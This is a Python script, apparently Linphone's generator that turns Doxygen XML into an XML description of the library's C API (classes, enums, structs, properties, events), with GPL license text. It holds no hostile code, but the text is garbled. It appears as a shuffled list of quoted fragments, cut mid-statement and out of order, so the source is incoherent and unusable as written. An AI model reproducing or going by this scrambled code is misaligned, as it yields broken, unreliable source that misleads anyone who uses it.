[] for eventname in cclass.events: eventnames.append(eventname) eventnames.sort()", "program is distributed in the hope that it will be", "\" + elem.name) for sm in elem.members: print(\"\\t\" + sm.ctype", "is not None: return None missingDocWarning = '' name =", "cclass.properties[propname].setter is not None: self.__generateFunction(propertyNode, 'setter', cclass.properties[propname].setter) if cclass.briefDescription !=", "+ sm.name) self.__structs.append(elem) elif isinstance(elem, CTypedef): if self.verbose: print(\"Adding typedef", "def __cleanDescription(self, descriptionNode): for para in descriptionNode.findall('./para'): for n in", "functionNode = ET.SubElement(parentNode, nodeName, functionAttributes) returnValueAttributes = { 'type' :", "None: self.add(f) def initFromFiles(self, xmlfiles): trees = [] for f", "'bctbx_list_t': n = returndesc.find('.//bctbxlist') if n is not None: returnarg.containedType", "not f.location.endswith('.h'): missingDocWarning += \"\\tNot documented in a header file", "self.location = None class CEvent(CFunction): pass class CProperty: def __init__(self,", "= st.associatedTypedef.briefDescription elif len(st.briefDescription) > 0: self.briefDescription = st.briefDescription if", "FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General", "tree): memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='enum']/memberdef[@kind='enum'][@prot='public']\") for m in memberdefs: e =", "not eventAdded: for c in self.classes: if e.name.startswith(c.name): c.addEvent(e) eventAdded", "self.__parseCStructMember(structmember, s.name) s.addMember(sm) return s def __findCStruct(self, tree): compounddefs =", "self.definition = definition.strip() class CArgument(CObject): def __init__(self, t, name =", "True elif methodname_without_prefix == 'unref': has_unref_method = True elif methodname_without_prefix", "capabilities of the class has_ref_method = False has_unref_method = False", "memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='func']/memberdef[@kind='function'][@prot='public'][@static='no']\") for m in memberdefs: f = self.__parseCFunctionMemberdef(m)", "self.__addPropertyGetter(name, f) elif name.endswith('_enabled') and len(f.arguments) == 1 and f.returnArgument.ctype", "ET.ParseError as e: print(e) if tree is not None: trees.append(tree)", "fullySplittedType.append(s) if 'MS2_DEPRECATED' in fullySplittedType: fullySplittedType.remove('MS2_DEPRECATED') elif 'LINPHONE_DEPRECATED' in fullySplittedType:", "argparser.add_argument('--pretty', help=\"XML pretty print\", action='store_true') argparser.add_argument('xmldir', help=\"XML directory generated by", "for methodname in cclass.instanceMethods: methodname_without_prefix = methodname.replace(cclass.cFunctionPrefix, '') if methodname_without_prefix", "s.endswith('*'): fullySplittedType.append(s[:-1]) fullySplittedType.append('*') else: fullySplittedType.append(s) if 'MS2_DEPRECATED' in fullySplittedType: fullySplittedType.remove('MS2_DEPRECATED')", "argName = argdef[spacePos + 1 :] argslist.addArgument(CArgument(argType, argName, self.enums, self.__structs))", "in self.properties: prop = CProperty(name) self.properties[name] = prop self.properties[name].getter =", "definition[0:pos].strip() returnarg = CArgument(returntype, enums = self.enums, structs = self.__structs)", "self.verbose: print(\"Adding enum \" + elem.name) for ev in elem.values:", "self.briefDoc = None class CEnumValue(CObject): def __init__(self, name): CObject.__init__(self, name)", "t = definition[0:definition.find(structname + \"::\" + name)] sm = CStructMember(name,", "self.add(cclass) break elif ('Linphone' + td.definition) == td.name: st =", "initFromDir(self, xmldir): files = [ os.path.join(xmldir, f) for f in", "name.startswith('get_') and len(f.arguments) == 1: self.__addPropertyGetter(name[4:], f) elif name.startswith('is_') and", "[] self.docparser = metadoc.Parser() def add(self, elem): if isinstance(elem, CClass):", "!= -1: argType = argdef[0 : spacePos] argName = argdef[spacePos", "self.verbose: print(\"Adding function \" + elem.name) print(\"\\tReturns: \" + elem.returnArgument.ctype)", ": f.returnArgument.ctype, 'completetype' : f.returnArgument.completeType } if f.returnArgument.containedType is not", "= node.findall(\"enumvalue[@prot='public']\") for enumvalue in enumvalues: ev = self.__parseCEnumValue(enumvalue) e.addValue(ev)", "methodname in cclass.instanceMethods: methodname_without_prefix = methodname.replace(cclass.cFunctionPrefix, '') if methodname_without_prefix ==", "name) self.members = [] self.associatedTypedef = None def addMember(self, member):", "CEnum(node.find('./name').text) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: e.deprecated", "= self.__structs) returndesc = node.find(\"./detaileddescription/para/simplesect[@kind='return']\") if returndesc is not None:", "import os import six import string import sys import xml.etree.ElementTree", "for c in self.classes: if e.name.startswith(c.name): c.addEvent(e) eventAdded = True", "for more details. # # You should have received a", "nothing if len(cclass.events) == 0 and len(cclass.classMethods) == 0 and", "-1] argslist = CArgumentsList() for argdef in definition.split(', '): argType", "project.verbose = True if args.pretty: project.prettyPrint = True project.initFromDir(args.xmldir) project.check()", "self.associatedTypedef = None def addMember(self, member): self.members.append(member) class CTypedef(CObject): def", "in para.findall('./parameterlist'): para.remove(n) for n in para.findall(\"./simplesect[@kind='return']\"): para.remove(n) for n", "eventAdded = True break if not eventAdded: for c in", "n.attrib = {} for n in para.findall(\".//bctbx_list\"): para.remove(n) if descriptionNode.tag", "classNode = ET.SubElement(classesNode, 'class', classNodeAttributes) if len(cclass.events) > 0: eventsNode", "len(st.briefDescription) > 0: self.briefDescription = st.briefDescription if st.associatedTypedef.detailedDescription is not", "self.__functions.append(elem) def __cleanDescription(self, descriptionNode): for para in descriptionNode.findall('./para'): for n", "classMethodsNode = ET.SubElement(classNode, 'classmethods') methodnames = [] for methodname in", "2 :] pos = definition.find(\"(\") definition = definition[pos + 1", "s def __findCStruct(self, tree): compounddefs = tree.findall(\"./compounddef[@kind='struct'][@prot='public']\") for c in", "your option) any later version. # # This program is", "if len(f.arguments) > 0 and f.arguments[0].ctype == self.name: self.__addInstanceMethod(f) else:", "along with this program; if not, write to the Free", "= self.__parseCEnumValueInitializer(initializerNode.text) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None:", "# Sort classes by length of name (longest first), so", "= argNode.find('./declname') if argNameNode is not None: argName = ''.join(argNameNode.itertext())", "ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY", "def __canBeWrapped(self, node): return node.find('./detaileddescription//donotwrap') is None def __discoverClasses(self): for", "(at your option) any later version. # # This program", "= argdef[0 : spacePos] argName = argdef[spacePos + 1 :]", "+= '_' def __addPropertyGetter(self, name, f): if not name in", "name, definition): CObject.__init__(self, name) self.definition = definition.strip() class CArgument(CObject): def", "is None def __discoverClasses(self): for td in self.__typedefs: if td.definition.startswith('enum", "associated typedef: \" + name) st = CStruct(name) st.associatedTypedef =", "= n.text returnarg.description = self.__cleanDescription(returndesc) elif returnarg.completeType != 'void': missingDocWarning", "class CStructMember(CObject): def __init__(self, name, t): CObject.__init__(self, name) self.ctype =", "def __init__(self, name): self.name = name self.getter = None self.setter", "enumsNode) if len(project.classes) > 0: classesNode = ET.SubElement(apiNode, 'classes') project.classes.sort(key", "metavar='outputfile', type=argparse.FileType('w'), help=\"Output XML file describing the Linphone API.\") argparser.add_argument('--verbose',", "+= ET.tostring(apiNode, 'utf-8') if project.prettyPrint: s = minidom.parseString(s).toprettyxml(indent='\\t') self.__outputfile.write(s) def", "name self.getter = None self.setter = None class CClass(CObject): def", "Default to int so that the result is correct eg.", "tree): memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='typedef']/memberdef[@kind='typedef'][@prot='public']\") for m in memberdefs: td =", "CStructMember(CObject): def __init__(self, name, t): CObject.__init__(self, name) self.ctype = t.strip()", "arg.containedType argumentNode = ET.SubElement(argumentsNode, 'argument', argumentNodeAttributes) if arg.description is not", "starPos = argdef.rfind('*') spacePos = argdef.rfind(' ') if starPos !=", "[] self.__events = [] self.__functions = [] self.classes = []", "'_' def __addPropertyGetter(self, name, f): if not name in self.properties:", "if len(cenum.values) > 0: enumValuesNode = ET.SubElement(enumNode, 'values') for value", "eventname in cclass.events: eventnames.append(eventname) eventnames.sort() for eventname in eventnames: self.__generateFunction(eventsNode,", "f) for f in os.listdir(xmldir) if (os.path.isfile(os.path.join(xmldir, f)) and f.endswith('.xml'))", "for ev in elem.values: print(\"\\t\" + ev.name) self.enums.append(elem) elif isinstance(elem,", "name, t): CObject.__init__(self, name) self.ctype = t.strip() class CStruct(CObject): def", "= self.__cleanDescription(node.find('./detaileddescription')) return sm def __parseCStructCompounddef(self, node): s = CStruct(node.find('./compoundname').text)", "definition.find(\"(*\") if pos == -1: return None returntype = definition[0:pos].strip()", "f.location.endswith('.h'): missingDocWarning += \"\\tNot documented in a header file ('\"", "value.briefDescription valueNode.append(value.detailedDescription) def __generateFunction(self, parentNode, nodeName, f): functionAttributes = {", "= 'see' n.text = t for n in para.findall(\"./simplesect[@kind='note']\"): n.tag", "td = self.__parseCTypedefMemberdef(m) self.add(td) def __parseCFunctionMemberdef(self, node): if not Project.__canBeWrapped(self,", "tree = None try: if self.verbose: print(\"Parsing XML file: \"", "Project.__canBeWrapped(self, node): return None name = node.find('./name').text definition = node.find('./definition').text", "'\" + self.__outputfile.name + \"'\") apiNode = ET.Element('api') project.enums.sort(key =", "self.members = [] self.associatedTypedef = None def addMember(self, member): self.members.append(member)", "para.findall(\"./simplesect[@kind='return']\"): para.remove(n) for n in para.findall(\"./simplesect[@kind='see']\"): t = ''.join(n.itertext()) n.clear()", "''.join(node.find('./briefdescription').itertext()).strip() f.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) f.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return f else:", "fullySplittedType.insert(-1, 'int') else: fullySplittedType.append('int') self.completeType = ' '.join(fullySplittedType) def __str__(self):", "addMember(self, member): self.members.append(member) class CTypedef(CObject): def __init__(self, name, definition): CObject.__init__(self,", "args.pretty: project.prettyPrint = True project.initFromDir(args.xmldir) project.check() gen = Generator(args.outputfile) gen.generate(project)", "def __init__(self, name, definition): CObject.__init__(self, name) self.definition = definition.strip() class", "= self.__cleanDescription(paramdesc.find('./parameterdescription')) missingDocWarning = '' for arg in argslist.arguments: if", "__str__(self): argstr = [] for arg in self.arguments: argstr.append(str(arg)) return", "documented\\n\" argslist = CArgumentsList() argslistNode = node.findall('./param') for argNode in", "project.initFromDir(args.xmldir) project.check() gen = Generator(args.outputfile) gen.generate(project) if __name__ == \"__main__\":", "== 'struct': isStruct = True if s == 'enum': isEnum", "argName = '' argNameNode = argNode.find('./declname') if argNameNode is not", "+= \"\\tReturn value is not documented\\n\" argslist = CArgumentsList() argslistNode", "for methodname in cclass.classMethods: methodnames.append(methodname) methodnames.sort() for methodname in methodnames:", "c in self.classes: for name, p in six.iteritems(c.properties): if p.getter", "enumNodeAttributes) if cenum.briefDescription != '': enumBriefDescriptionNode = ET.SubElement(enumNode, 'briefdescription') enumBriefDescriptionNode.text", "for n in para.findall(\"./simplesect[@kind='return']\"): para.remove(n) for n in para.findall(\"./simplesect[@kind='see']\"): t", "'' for arg in argslist.arguments: if arg.description == None: missingDocWarning", "= node.find('./name').text definition = node.find('./definition').text t = definition[0:definition.find(structname + \"::\"", "if (e.associatedTypedef is None) and td.definition[5:] == e.name: e.associatedTypedef =", "and e.name.startswith(c.name): c.addEvent(e) eventAdded = True break if not eventAdded:", "f): functionAttributes = { 'name' : f.name, 'deprecated' : str(f.deprecated).lower()", "== 'bctbx_list_t': n = returndesc.find('.//bctbxlist') if n is not None:", "0 and f.arguments[0].ctype == self.name: self.__addInstanceMethod(f) else: self.__addClassMethod(f) class Project:", "for n in para.findall(\"./simplesect[@kind='note']\"): n.tag = 'note' n.attrib = {}", "e def __findCEnum(self, tree): memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='enum']/memberdef[@kind='enum'][@prot='public']\") for m in", "self.name = name self.getter = None self.setter = None class", "s == 'struct': isStruct = True if s == 'enum':", "verbosity\", action='store_true') argparser.add_argument('--pretty', help=\"XML pretty print\", action='store_true') argparser.add_argument('xmldir', help=\"XML directory", "def __parseCStructCompounddef(self, node): s = CStruct(node.find('./compoundname').text) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if", ": cclass.cFunctionPrefix, 'deprecated' : str(cclass.deprecated).lower(), 'refcountable' : str(refcountable).lower(), 'destroyable' :", "= {} self.__computeCFunctionPrefix() def __computeCFunctionPrefix(self): self.cFunctionPrefix = '' first =", "for s in splittedType: if s.startswith('*'): fullySplittedType.append('*') if len(s) >", "self.name class CArgumentsList: def __init__(self): self.arguments = [] def addArgument(self,", "definition.startswith('typedef '): definition = definition[8 :] if name.endswith('Cb'): pos =", "returnarg = CArgument(returntype, enums = self.enums, structs = self.__structs) returndesc", "first = True for l in self.name: if l.isupper() and", "argparser.add_argument('-o', '--outputfile', metavar='outputfile', type=argparse.FileType('w'), help=\"Output XML file describing the Linphone", "returnValueAttributes['containedtype'] = f.returnArgument.containedType returnValueNode = ET.SubElement(functionNode, 'return', returnValueAttributes) if f.returnArgument.description", "= self.__cleanDescription(returndesc) elif returnarg.completeType != 'void': missingDocWarning += \"\\tReturn value", "for structmember in structmembers: sm = self.__parseCStructMember(structmember, s.name) s.addMember(sm) return", "return descriptionNode def __canBeWrapped(self, node): return node.find('./detaileddescription//donotwrap') is None def", "= True if s == 'enum': isEnum = True if", "None internal = node.find(\"./detaileddescription/internal\") if internal is not None: return", "= self.__cleanDescription(node.find('./detaileddescription')) enumvalues = node.findall(\"enumvalue[@prot='public']\") for enumvalue in enumvalues: ev", "n is not None: returnarg.containedType = n.text returnarg.description = self.__cleanDescription(returndesc)", "print(\"Parsing XML file: \" + f.name) tree = ET.parse(f) except", "self.docparser.parse_description(node.find('./briefdescription')) s.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) structmembers = node.findall(\"sectiondef/memberdef[@kind='variable'][@prot='public']\") for structmember in", "= self.__parseCStructMember(structmember, s.name) s.addMember(sm) return s def __findCStruct(self, tree): compounddefs", "= node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: f.deprecated = True", "print(e) if tree is not None: trees.append(tree) for tree in", "node): if not Project.__canBeWrapped(self, node): return None internal = node.find(\"./detaileddescription/internal\")", "isinstance(elem, CStruct): if self.verbose: print(\"Adding struct \" + elem.name) for", "in self.enums: if (e.associatedTypedef is None) and td.definition[5:] == e.name:", "elif td.definition.startswith('struct '): structFound = False for st in self.__structs:", "returnValueNode.append(f.returnArgument.description) argumentsNode = ET.SubElement(functionNode, 'arguments') for arg in f.arguments: argumentNodeAttributes", "'classmethod', cclass.classMethods[methodname]) if len(cclass.instanceMethods) > 0: instanceMethodsNode = ET.SubElement(classNode, 'instancemethods')", "node.find(\"./detaileddescription/para/simplesect[@kind='return']\") if returndesc is not None: if returnarg.ctype == 'MSList'", "None: self.__generateFunction(propertyNode, 'getter', cclass.properties[propname].getter) if cclass.properties[propname].setter is not None: self.__generateFunction(propertyNode,", "classesNode): # Do not include classes that contain nothing if", "should have received a copy of the GNU General Public", "fullySplittedType.remove('MS2_DEPRECATED') elif 'LINPHONE_DEPRECATED' in fullySplittedType: fullySplittedType.remove('LINPHONE_DEPRECATED') isStruct = False isEnum", "to int so that the result is correct eg. for", "None: sm.deprecated = True sm.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() sm.briefDoc = self.docparser.parse_description(node.find('./briefdescription'))", "node.find('./location') if locationNode is not None: f.location = locationNode.get('file') if", "nodeName, f): functionAttributes = { 'name' : f.name, 'deprecated' :", "initFromFiles(self, xmlfiles): trees = [] for f in xmlfiles: tree", "= value.briefDescription valueNode.append(value.detailedDescription) def __generateFunction(self, parentNode, nodeName, f): functionAttributes =", "in self.arguments: argstr.append(str(arg)) return ', '.join(argstr) class CFunction(CObject): def __init__(self,", "in self.__typedefs: if td.definition.startswith('enum '): for e in self.enums: if", "is not None: self.add(f) def initFromFiles(self, xmlfiles): trees = []", "self.classes.append(elem) elif isinstance(elem, CEnum): if self.verbose: print(\"Adding enum \" +", "''.join(argNameNode.itertext()) if argType != 'void': argslist.addArgument(CArgument(argType, argName, self.enums, self.__structs)) if", "in keywords: self.ctype = s if s == 'struct': isStruct", "name) self.definition = definition.strip() class CArgument(CObject): def __init__(self, t, name", "len(f.arguments) > 0 and f.arguments[0].ctype == self.name: self.__addInstanceMethod(f) else: self.__addClassMethod(f)", "argName, self.enums, self.__structs)) if len(argslist) > 0: paramdescs = node.findall(\"detaileddescription/para/parameterlist[@kind='param']/parameteritem\")", "= ET.SubElement(apiNode, 'classes') project.classes.sort(key = lambda c: c.name) for cclass", "f.name, 'deprecated' : str(f.deprecated).lower() } if f.location is not None:", "para.remove(n) for n in para.findall(\"./simplesect[@kind='see']\"): t = ''.join(n.itertext()) n.clear() n.tag", "if deprecatedNode is not None: td.deprecated = True td.briefDescription =", "self.__cleanDescription(paramdesc.find('./parameterdescription')) missingDocWarning = '' for arg in argslist.arguments: if arg.description", "for methodname in cclass.instanceMethods: methodnames.append(methodname) methodnames.sort() for methodname in methodnames:", "para.findall(\".//xrefsect\"): para.remove(n) for n in para.findall('.//ref'): n.attrib = {} for", "sm.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() sm.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) sm.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return", "str(refcountable).lower(), 'destroyable' : str(destroyable).lower() } # Generate the XML node", "value in cenum.values: enumValuesNodeAttributes = { 'name' : value.name, 'deprecated'", "[ 'const', 'struct', 'enum', 'signed', 'unsigned', 'short', 'long', '*' ]", "of the GNU General Public License # as published by", "files = [ os.path.join(xmldir, f) for f in os.listdir(xmldir) if", "s.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) structmembers = node.findall(\"sectiondef/memberdef[@kind='variable'][@prot='public']\") for structmember in structmembers:", "for n in para.findall(\".//bctbx_list\"): para.remove(n) if descriptionNode.tag == 'parameterdescription': descriptionNode.tag", "= name self.getter = None self.setter = None class CClass(CObject):", "methodname_without_prefix == 'ref': has_ref_method = True elif methodname_without_prefix == 'unref':", "return self.completeType + \" \" + self.name class CArgumentsList: def", "= returnarg self.arguments = argslist self.location = None class CEvent(CFunction):", "} if arg.containedType is not None: argumentNodeAttributes['containedtype'] = arg.containedType argumentNode", "print(\"Adding struct \" + elem.name) for sm in elem.members: print(\"\\t\"", "def __addPropertyGetter(self, name, f): if not name in self.properties: prop", "function \" + elem.name) print(\"\\tReturns: \" + elem.returnArgument.ctype) print(\"\\tArguments: \"", "if has_destroy_method: destroyable = True classNodeAttributes = { 'name' :", "td = CTypedef(name, definition) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is", "str(destroyable).lower() } # Generate the XML node for the class", "self.classMethods = {} self.instanceMethods = {} self.properties = {} self.__computeCFunctionPrefix()", "'destroyable' : str(destroyable).lower() } # Generate the XML node for", "def __parseCEnumMemberdef(self, node): if not Project.__canBeWrapped(self, node): return None e", "None e = CEnum(node.find('./name').text) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is", "setter but no getter\") class Generator: def __init__(self, outputfile): self.__outputfile", "documented\\n\"; if missingDocWarning != '': print(name + \":\\n\" + missingDocWarning)", "print(\"Structure with no associated typedef: \" + name) st =", "self.__parseCStructCompounddef(c) self.add(s) def __parseCTypedefMemberdef(self, node): if not Project.__canBeWrapped(self, node): return", "pos] td = CTypedef(name, definition) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode", "Public License for more details. # # You should have", "== td.name: st = CStruct(td.name) st.associatedTypedef = td cclass =", "definition = definition[8 :] if name.endswith('Cb'): pos = definition.find(\"(*\") if", "= f def addEvent(self, ev): if not ev.name in self.events:", "ET.SubElement(propertiesNode, 'property', propertyNodeAttributes) if cclass.properties[propname].getter is not None: self.__generateFunction(propertyNode, 'getter',", "+ ev.name) self.enums.append(elem) elif isinstance(elem, CStruct): if self.verbose: print(\"Adding struct", "__parseCEnumMemberdef(self, node): if not Project.__canBeWrapped(self, node): return None e =", "self.docparser.parse_description(node.find('./briefdescription')) e.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) enumvalues = node.findall(\"enumvalue[@prot='public']\") for enumvalue in", "if self.verbose: print(\"Adding struct \" + elem.name) for sm in", "= definition[0 : pos] td = CTypedef(name, definition) deprecatedNode =", "argparser.parse_args() if args.outputfile == None: args.outputfile = open('api.xml', 'w') project", "f def __addPropertySetter(self, name, f): if not name in self.properties:", "= self.__cleanDescription(node.find('./detaileddescription')) return td return None def __findCTypedef(self, tree): memberdefs", "if n is not None: returnarg.containedType = n.text returnarg.description =", "def generate(self, project): print(\"Generating XML document of Linphone API to", "[]): CObject.__init__(self, name) self.description = None self.containedType = None keywords", "= argdef[0 : starPos + 1] argName = argdef[starPos +", "= paramdesc.find('.//bctbxlist') if n is not None: arg.containedType = n.text", "MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #", "= self.__parseCEnumValue(enumvalue) e.addValue(ev) return e def __findCEnum(self, tree): memberdefs =", "None: print(\"Property '\" + name + \"' of class '\"", "'simplesect': descriptionNode.tag = 'description' descriptionNode.attrib = {} return descriptionNode def", "methodname_without_prefix == 'destroy': has_destroy_method = True refcountable = False destroyable", "License # as published by the Free Software Foundation; either", "f.returnArgument.ctype == 'bool_t': self.__addPropertyGetter(name, f) elif name.endswith('_enabled') and len(f.arguments) ==", "'name' : f.name, 'deprecated' : str(f.deprecated).lower() } if f.location is", "trees: self.__findCEnum(tree) for tree in trees: self.__findCStruct(tree) for tree in", "GNU General Public License # along with this program; if", "{ 'name' : value.name, 'deprecated' : str(value.deprecated).lower() } valueNode =", "ET.SubElement(classNode, 'events') eventnames = [] for eventname in cclass.events: eventnames.append(eventname)", "l.isupper() and not first: self.cFunctionPrefix += '_' self.cFunctionPrefix += l.lower()", "= self.docparser.parse_description(node.find('./briefdescription')) sm.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return sm def __parseCStructCompounddef(self, node):", "destroyable = True classNodeAttributes = { 'name' : cclass.name, 'cfunctionprefix'", "== 2 and f.arguments[1].ctype == 'bool_t': self.__addPropertySetter(name[7:] + '_enabled', f)", "'completetype' : f.returnArgument.completeType } if f.returnArgument.containedType is not None: returnValueAttributes['containedtype']", "value.briefDescription != '': valueBriefDescriptionNode = ET.SubElement(valueNode, 'briefdescription') valueBriefDescriptionNode.text = value.briefDescription", "''.join(node.find('./briefdescription').itertext()).strip() s.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) s.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) structmembers = node.findall(\"sectiondef/memberdef[@kind='variable'][@prot='public']\")", "f in self.__functions: for c in self.classes: if c.cFunctionPrefix ==", "else: fullySplittedType.append('int') self.completeType = ' '.join(fullySplittedType) def __str__(self): return self.completeType", "t for n in para.findall(\"./simplesect[@kind='note']\"): n.tag = 'note' n.attrib =", "if pos == -1: return None returntype = definition[0:pos].strip() returnarg", "None: self.detailedDescription = st.detailedDescription self.__struct = st self.events = {}", "= argslist self.location = None class CEvent(CFunction): pass class CProperty:", "== None: args.outputfile = open('api.xml', 'w') project = Project() if", "and not first: self.cFunctionPrefix += '_' self.cFunctionPrefix += l.lower() first", "can redistribute it and/or # modify it under the terms", "addMethod(self, f): if len(f.arguments) > 0 and f.arguments[0].ctype == self.name:", "pos = definition.rfind(\" \" + name) if pos != -1:", "eventname in eventnames: self.__generateFunction(eventsNode, 'event', cclass.events[eventname]) if len(cclass.classMethods) > 0:", "for tree in trees: self.__findCEnum(tree) for tree in trees: self.__findCStruct(tree)", "argv = sys.argv argparser = argparse.ArgumentParser(description=\"Generate XML version of the", "fullySplittedType: fullySplittedType.remove('LINPHONE_DEPRECATED') isStruct = False isEnum = False self.ctype =", "node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: td.deprecated = True td.briefDescription", "f.returnArgument.completeType } if f.returnArgument.containedType is not None: returnValueAttributes['containedtype'] = f.returnArgument.containedType", "f.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return f else: pos = definition.rfind(\" \"", "+ elem.name) self.classes.append(elem) elif isinstance(elem, CEnum): if self.verbose: print(\"Adding enum", "CFunction(name, returnarg, argslist) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not", "= [ os.path.join(xmldir, f) for f in os.listdir(xmldir) if (os.path.isfile(os.path.join(xmldir,", "__parseCStructMember(self, node, structname): name = node.find('./name').text definition = node.find('./definition').text t", "elem.name) print(\"\\t\" + elem.definition) self.__typedefs.append(elem) elif isinstance(elem, CEvent): if self.verbose:", "methodname in cclass.classMethods: methodnames.append(methodname) methodnames.sort() for methodname in methodnames: self.__generateFunction(classMethodsNode,", "n.text returnarg.description = self.__cleanDescription(returndesc) elif returnarg.completeType != 'void': missingDocWarning +=", "sys.argv argparser = argparse.ArgumentParser(description=\"Generate XML version of the Linphone API.\")", ": spacePos] argName = argdef[spacePos + 1 :] argslist.addArgument(CArgument(argType, argName,", "structs: if st.associatedTypedef is not None: self.ctype = st.associatedTypedef.name elif", "ev.name in self.events: self.events[ev.name] = ev def addMethod(self, f): if", "Sort classes by length of name (longest first), so that", "deprecatedNode is not None: td.deprecated = True td.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip()", "the class has_ref_method = False has_unref_method = False has_destroy_method =", "if initializerNode is not None: ev.value = self.__parseCEnumValueInitializer(initializerNode.text) deprecatedNode =", "definition.strip() class CArgument(CObject): def __init__(self, t, name = '', enums", "e.name.startswith(c.name): c.addEvent(e) eventAdded = True break for f in self.__functions:", "f.returnArgument.description is not None: returnValueNode.append(f.returnArgument.description) argumentsNode = ET.SubElement(functionNode, 'arguments') for", "return node.find('./detaileddescription//donotwrap') is None def __discoverClasses(self): for td in self.__typedefs:", "in self.properties: prop = CProperty(name) self.properties[name] = prop self.properties[name].setter =", "missingDocWarning += \"\\t'\" + arg.name + \"' parameter not documented\\n\";", "# Generate the XML node for the class classNode =", "0: instanceMethodsNode = ET.SubElement(classNode, 'instancemethods') methodnames = [] for methodname", "len(st.associatedTypedef.briefDescription) > 0: self.briefDescription = st.associatedTypedef.briefDescription elif len(st.briefDescription) > 0:", "p.getter is None and p.setter is not None: print(\"Property '\"", "length of name (longest first), so that methods are put", ": arg.ctype, 'completetype' : arg.completeType } if arg.containedType is not", "in para.findall(\".//xrefsect\"): para.remove(n) for n in para.findall('.//ref'): n.attrib = {}", "e = CEnum(node.find('./name').text) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not", "= ET.SubElement(argumentsNode, 'argument', argumentNodeAttributes) if arg.description is not None: argumentNode.append(arg.description)", "] fullySplittedType = [] splittedType = t.strip().split(' ') for s", "= [] self.__typedefs = [] self.__events = [] self.__functions =", "f.name[len(self.cFunctionPrefix):] if name.startswith('get_') and len(f.arguments) == 1: self.__addPropertyGetter(name[4:], f) elif", "in trees: self.__findCFunction(tree) self.__discoverClasses() def initFromDir(self, xmldir): files = [", "elif isEnum: for e in enums: if e.associatedTypedef is not", "n in para.findall(\"./simplesect[@kind='note']\"): n.tag = 'note' n.attrib = {} for", "in a header file ('\" + f.location + \"')\\n\"; if", "f.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) f.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return f else: pos", "n is not None: arg.containedType = n.text arg.description = self.__cleanDescription(paramdesc.find('./parameterdescription'))", "first: self.cFunctionPrefix += '_' self.cFunctionPrefix += l.lower() first = False", "if cenum.briefDescription != '': enumBriefDescriptionNode = ET.SubElement(enumNode, 'briefdescription') enumBriefDescriptionNode.text =", "self.cFunctionPrefix += '_' self.cFunctionPrefix += l.lower() first = False self.cFunctionPrefix", "'w') project = Project() if args.verbose: project.verbose = True if", "argType = ''.join(argNode.find('./type').itertext()) argName = '' argNameNode = argNode.find('./declname') if", "len(project.classes) > 0: classesNode = ET.SubElement(apiNode, 'classes') project.classes.sort(key = lambda", "None self.containedType = None keywords = [ 'const', 'struct', 'enum',", "argumentNode = ET.SubElement(argumentsNode, 'argument', argumentNodeAttributes) if arg.description is not None:", "= ET.SubElement(functionNode, 'arguments') for arg in f.arguments: argumentNodeAttributes = {", "short' for s in fullySplittedType: if not s in keywords:", "= False if has_ref_method and has_unref_method: refcountable = True if", "enumvalue in enumvalues: ev = self.__parseCEnumValue(enumvalue) e.addValue(ev) return e def", "not, write to the Free Software # Foundation, Inc., 51", "n.text arg.description = self.__cleanDescription(paramdesc.find('./parameterdescription')) missingDocWarning = '' for arg in", "= name.strip() self.briefDescription = '' self.detailedDescription = None self.deprecated =", "= { 'name' : propname } propertyNode = ET.SubElement(propertiesNode, 'property',", "if not s in keywords: self.ctype = s if s", "if self.verbose: print(\"Adding event \" + elem.name) print(\"\\tReturns: \" +", "not None: e.deprecated = True e.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() e.briefDoc =", "in six.iteritems(c.properties): if p.getter is None and p.setter is not", "= self.__parseCEnumMemberdef(m) self.add(e) def __parseCStructMember(self, node, structname): name = node.find('./name').text", "for the class classNode = ET.SubElement(classesNode, 'class', classNodeAttributes) if len(cclass.events)", "[] for arg in self.arguments: argstr.append(str(arg)) return ', '.join(argstr) class", "= node.find('./definition').text t = definition[0:definition.find(structname + \"::\" + name)] sm", "not None: self.__generateFunction(propertyNode, 'getter', cclass.properties[propname].getter) if cclass.properties[propname].setter is not None:", "ET.SubElement(classNode, 'briefdescription') classBriefDescriptionNode.text = cclass.briefDescription classNode.append(cclass.detailedDescription) def generate(self, project): print(\"Generating", "td in self.__typedefs: if td.definition.startswith('enum '): for e in self.enums:", "if missingDocWarning != '': print(name + \":\\n\" + missingDocWarning) return", "self.ctype = 'int' # Default to int so that the", "e.deprecated = True e.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() e.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) e.detailedDescription", "not None: arg.containedType = n.text arg.description = 